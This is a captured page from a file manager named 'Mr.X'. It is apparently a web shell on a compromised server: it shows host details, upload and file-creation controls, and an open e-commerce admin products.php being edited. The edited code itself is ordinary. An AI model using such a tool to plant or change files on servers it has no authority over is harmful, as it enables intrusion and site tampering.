🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:products.php
<?php $page = 'products'; $page_title = 'Products Management'; require_once '../includes/header.php'; // Delete if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $product = $db->prepare("SELECT thumbnail FROM products WHERE id = ?"); $product->execute([$id]); $p = $product->fetch(); if ($p && $p['thumbnail']) { @unlink(UPLOADS_PATH . 'products/' . $p['thumbnail']); } $db->prepare("DELETE FROM product_images WHERE product_id = ?")->execute([$id]); $db->prepare("DELETE FROM products WHERE id = ?")->execute([$id]); admin_set_flash('success', 'Product deleted successfully'); header('Location: ' . ADMIN_PATH . 'pages/products.php'); exit; } $page_num = max(1, intval($_GET['page'] ?? 1)); $per_page = 20; $offset = ($page_num - 1) * $per_page; $search = $_GET['search'] ?? ''; $category_filter = $_GET['category'] ?? ''; $where = "1=1"; $params = []; if ($search) { $where .= " AND (p.name LIKE ? OR p.sku LIKE ?)"; $params[] = "%$search%"; $params[] = "%$search%"; } if ($category_filter) { $where .= " AND p.category_id = ?"; $params[] = $category_filter; } $count_stmt = $db->prepare("SELECT COUNT(*) FROM products p WHERE $where"); $count_stmt->execute($params); $total = $count_stmt->fetchColumn(); $total_pages = ceil($total / $per_page); $stmt = $db->prepare("SELECT p.*, c.name as category_name, b.name as brand_name FROM products p LEFT JOIN categories c ON p.category_id = c.id LEFT JOIN brands b ON p.brand_id = b.id WHERE $where ORDER BY p.created_at DESC LIMIT $per_page OFFSET $offset"); $stmt->execute($params); $products = $stmt->fetchAll(); $categories = get_categories(); ?> <div class="data-table-wrapper"> <div class="d-flex justify-content-between align-items-center mb-4 flex-wrap gap-2"> <div> <h3 style="margin: 0; font-size: 1.2rem;">All Products (<?= $total ?>)</h3> </div> <a href="<?= ADMIN_PATH ?>pages/product-add.php" class="btn-admin btn-primary-admin"> <i class="fas fa-plus"></i> Add New Product </a> </div> <div class="row g-2 mb-3"> <div class="col-md-5"> <div class="search-box" style="max-width: 100%;"> <form method="GET"> <input type="text" name="search" class="table-search" placeholder="Search products..." value="<?= htmlspecialchars($search) ?>" data-target=".admin-table"> <i class="fas fa-search"></i> </form> </div> </div> <div class="col-md-3"> <select class="form-control-admin" onchange="window.location.href=this.value"> <option value="<?= ADMIN_PATH ?>pages/products.php">All Categories</option> <?php foreach ($categories as $cat): ?> <option value="<?= ADMIN_PATH ?>pages/products.php?category=<?= $cat['id'] ?>" <?= $category_filter == $cat['id'] ? 'selected' : '' ?>> <?= htmlspecialchars($cat['name']) ?> </option> <?php endforeach; ?> </select> </div> </div> <div class="table-responsive"> <table class="admin-table"> <thead> <tr> <th>Image</th> <th>Name</th> <th>Category</th> <th>Price</th> <th>Stock</th> <th>Status</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($products as $product): ?> <tr> <td> <?php $thumb_url = ASSETS_PATH . 'images/no-image.jpg'; $thumb_filename = $product['thumbnail'] ?? ''; if (!empty($thumb_filename)) { $candidate_path = UPLOADS_PATH . 'products/' . $thumb_filename; if (file_exists($candidate_path)) { $thumb_url = UPLOADS_URL . 'products/' . $thumb_filename; } else { $alt_path = UPLOADS_PATH . 'settings/' . $thumb_filename; if (file_exists($alt_path)) { $thumb_url = UPLOADS_URL . 'settings/' . $thumb_filename; } } } // Apply cache busting if function exists if (function_exists('img_url')) { $thumb_url = img_url($thumb_url); } ?> <img src="<?= htmlspecialchars($thumb_url) ?>" class="image-preview" style="width: 50px; height: 50px; object-fit: cover; border-radius: 4px;" onerror="this.onerror=null;this.src='<?= htmlspecialchars(ASSETS_PATH) ?>images/no-image.jpg';"> </td> <td> <strong><?= htmlspecialchars($product['name']) ?></strong> <div><small class="text-muted">SKU: <?= htmlspecialchars($product['sku'] ?? 'N/A') ?></small></div> </td> <td><?= htmlspecialchars($product['category_name'] ?? 'N/A') ?></td> <td> <?php if ($product['sale_price'] > 0): ?> <strong style="color: var(--primary-rose-gold);"><?= format_currency($product['sale_price']) ?></strong> <div><small class="text-muted" style="text-decoration: line-through;"><?= format_currency($product['regular_price']) ?></small></div> <?php else: ?> <strong><?= format_currency($product['regular_price']) ?></strong> <?php endif; ?> </td> <td> <span class="badge" style="background: <?= $product['stock_quantity'] < 10 ? '#fff3cd' : '#d4edda' ?>; color: <?= $product['stock_quantity'] < 10 ? '#856404' : '#155724' ?>; padding: 3px 10px; border-radius: 10px;"> <?= $product['stock_quantity'] ?> </span> </td> <td> <span class="status-badge status-<?= $product['status'] ? 'active' : 'inactive' ?>"> <?= $product['status'] ? 'Active' : 'Inactive' ?> </span> </td> <td> <div class="action-buttons"> <a href="<?= ADMIN_PATH ?>pages/product-edit.php?id=<?= $product['id'] ?>" class="btn-icon btn-admin btn-primary-admin" data-bs-toggle="tooltip" title="Edit"> <i class="fas fa-edit"></i> </a> <a href="<?= SITE_URL ?>pages/product.php?slug=<?= $product['slug'] ?>" target="_blank" class="btn-icon btn-admin btn-secondary-admin" data-bs-toggle="tooltip" title="View"> <i class="fas fa-eye"></i> </a> <a href="?delete=<?= $product['id'] ?>" class="btn-icon btn-admin btn-danger-admin confirm-delete" data-bs-toggle="tooltip" title="Delete"> <i class="fas fa-trash"></i> </a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php if ($total_pages > 1): ?> <div class="admin-pagination"> <?php if ($page_num > 1): ?> <a href="?<?= http_build_query(array_merge($_GET, ['page' => $page_num - 1])) ?>"><i class="fas fa-chevron-left"></i></a> <?php endif; ?> <?php for ($i = max(1, $page_num - 2); $i <= min($total_pages, $page_num + 2); $i++): ?> <a href="?<?= http_build_query(array_merge($_GET, ['page' => $i])) ?>" class="<?= $i == $page_num ? 'active' : '' ?>"><?= $i ?></a> <?php endfor; ?> <?php if ($page_num < $total_pages): ?> <a href="?<?= http_build_query(array_merge($_GET, ['page' => $page_num + 1])) ?>"><i class="fas fa-chevron-right"></i></a> <?php endif; ?> </div> <?php endif; ?> </div> <?php require_once '../includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder